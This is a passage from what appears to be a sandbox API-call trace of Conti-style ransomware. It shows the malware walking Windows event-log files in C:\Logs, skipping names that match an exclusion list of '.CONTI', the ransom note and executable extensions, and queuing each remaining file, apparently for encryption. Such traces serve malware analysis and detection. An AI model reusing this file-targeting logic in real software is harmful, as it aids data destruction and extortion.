	[0096.309] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57
	[0096.309] GetProcessHeap () returned 0x1720000
	[0096.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x84) returned 0x17c90d0
	[0096.309] lstrcpyW (in: lpString1=0x17c90d0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.309] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.309] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx"
	[0096.309] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9698) returned 1
	[0096.309] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1
	[0096.309] lstrcmpiW (lpString1="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpString2=".") returned 1
	[0096.309] lstrcmpiW (lpString1="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpString2="..") returned 1
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Wcmsvc%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.310] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.310] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42
	[0096.310] GetProcessHeap () returned 0x1720000
	[0096.310] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1741450
	[0096.310] lstrcpyW (in: lpString1=0x1741450, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.310] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.310] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx"
	[0096.310] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8b30) returned 1
	[0096.310] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1
	[0096.310] lstrcmpiW (lpString1="Microsoft-Windows-Windows Defender%4Operational.evtx", lpString2=".") returned 1
	[0096.310] lstrcmpiW (lpString1="Microsoft-Windows-Windows Defender%4Operational.evtx", lpString2="..") returned 1
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.310] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.310] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.310] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52
	[0096.310] GetProcessHeap () returned 0x1720000
	[0096.310] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7a) returned 0x176bc60
	[0096.310] lstrcpyW (in: lpString1=0x176bc60, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.310] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.310] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Windows Defender%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx"
	[0096.310] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e78f0) returned 1
	[0096.310] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1
	[0096.311] lstrcmpiW (lpString1="Microsoft-Windows-Windows Defender%4WHC.evtx", lpString2=".") returned 1
	[0096.311] lstrcmpiW (lpString1="Microsoft-Windows-Windows Defender%4WHC.evtx", lpString2="..") returned 1
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".CONTI") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".exe") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".dll") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".lnk") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".sys") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch=".CONTI") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Defender%4WHC.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.311] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.311] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44
	[0096.311] GetProcessHeap () returned 0x1720000
	[0096.311] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x17d16a0
	[0096.311] lstrcpyW (in: lpString1=0x17d16a0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.311] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.311] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Windows Defender%4WHC.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx"
	[0096.311] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7b38) returned 1
	[0096.311] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1
	[0096.311] lstrcmpiW (lpString1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpString2=".") returned 1
	[0096.311] lstrcmpiW (lpString1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpString2="..") returned 1
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".CONTI") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".exe") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".dll") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".lnk") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".sys") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch=".CONTI") returned 0x0
	[0096.311] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.311] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.311] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82
	[0096.311] GetProcessHeap () returned 0x1720000
	[0096.311] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb6) returned 0x17c9160
	[0096.312] lstrcpyW (in: lpString1=0x17c9160, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.312] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.312] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx"
	[0096.312] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7d80) returned 1
	[0096.312] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1
	[0097.050] lstrcmpiW (lpString1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpString2=".") returned 1
	[0097.050] lstrcmpiW (lpString1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpString2="..") returned 1
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".CONTI") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".exe") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".dll") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".lnk") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".sys") returned 0x0
	[0097.050] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch=".CONTI") returned 0x0
	[0097.054] StrStrIW (lpFirst="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.054] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.054] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72
	[0097.054] GetProcessHeap () returned 0x1720000
	[0097.054] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa2) returned 0x1732c10
	[0097.054] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.054] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.054] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx"
	[0097.054] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7d80) returned 1
	[0097.101] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1
	[0097.101] lstrcmpiW (lpString1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpString2=".") returned 1
	[0097.101] lstrcmpiW (lpString1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpString2="..") returned 1
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".CONTI") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".exe") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".dll") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".lnk") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".sys") returned 0x0
	[0097.101] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch=".CONTI") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.102] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.102] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57
	[0097.102] GetProcessHeap () returned 0x1720000
	[0097.102] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x84) returned 0x17c6f28
	[0097.102] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.102] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.102] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx"
	[0097.102] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8d78) returned 1
	[0097.102] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1
	[0097.102] lstrcmpiW (lpString1="Microsoft-Windows-Winlogon%4Operational.evtx", lpString2=".") returned 1
	[0097.102] lstrcmpiW (lpString1="Microsoft-Windows-Winlogon%4Operational.evtx", lpString2="..") returned 1
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0097.102] StrStrIW (lpFirst="Microsoft-Windows-Winlogon%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.102] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.102] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44
	[0097.102] GetProcessHeap () returned 0x1720000
	[0097.102] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x17d0c50
	[0097.102] lstrcpyW (in: lpString1=0x17d0c50, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.102] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.102] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Winlogon%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx"
	[0097.102] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6468) returned 1
	[0097.102] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1
	[0097.103] lstrcmpiW (lpString1="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpString2=".") returned 1
	[0097.103] lstrcmpiW (lpString1="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpString2="..") returned 1
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0097.103] StrStrIW (lpFirst="Microsoft-Windows-WMI-Activity%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.103] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.103] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48
	[0097.103] GetProcessHeap () returned 0x1720000
	[0097.103] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17e35d8
	[0097.103] lstrcpyW (in: lpString1=0x17e35d8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.103] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.103] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx"
	[0097.103] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6b40) returned 1
	[0097.103] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1
	[0097.103] lstrcmpiW (lpString1="Security.evtx", lpString2=".") returned 1
	[0097.103] lstrcmpiW (lpString1="Security.evtx", lpString2="..") returned 1
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".CONTI") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".exe") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".dll") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".lnk") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".sys") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch=".CONTI") returned 0x0
	[0097.103] StrStrIW (lpFirst="Security.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.103] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.103] lstrlenW (lpString="Security.evtx") returned 13
	[0097.103] GetProcessHeap () returned 0x1720000
	[0097.103] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2c) returned 0x1738d70
	[0097.104] lstrcpyW (in: lpString1=0x1738d70, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.104] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.104] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Security.evtx" | out: lpString1="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx"
	[0097.104] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9d70) returned 1
	[0097.104] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1
	[0097.104] lstrcmpiW (lpString1="Setup.evtx", lpString2=".") returned 1
	[0097.104] lstrcmpiW (lpString1="Setup.evtx", lpString2="..") returned 1
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".CONTI") returned 0x0
